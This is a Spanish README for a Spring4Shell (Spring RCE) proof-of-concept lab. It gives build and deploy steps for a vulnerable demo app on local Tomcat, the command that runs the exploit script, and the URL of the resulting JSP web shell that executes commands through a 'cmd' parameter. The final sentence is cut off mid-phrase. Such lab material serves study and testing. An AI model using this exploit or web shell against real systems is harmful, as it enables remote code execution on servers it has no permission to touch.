Spring4Shell POC

Descripción de la vulnerabilidad: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

Construcción del POC: https://github.com/BobTheShoplifter/Spring4Shell-POC

Pasos para construir/ejecutar

Probado con JDK 11.0.14, Spring Boot 2.6.5 y Apache Tomcat 9.0.60

• Ejecuta mvn clean package para construir la aplicación
• Cambia el nombre de demo-0.0.1-SNAPSHOT.war a spring-poc.war y copia este archivo .war al directorio webapps de Tomcat
• Ejecuta python exp.py --url http://localhost:8080/spring-poc/greeting
  • Si tiene éxito, se registrará el mensaje 漏洞存在，shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami
  • Ahora deberías ver el archivo escrito en el directorio webapps/spring-poc de Tomcat. Este directorio se puede cambiar modificando .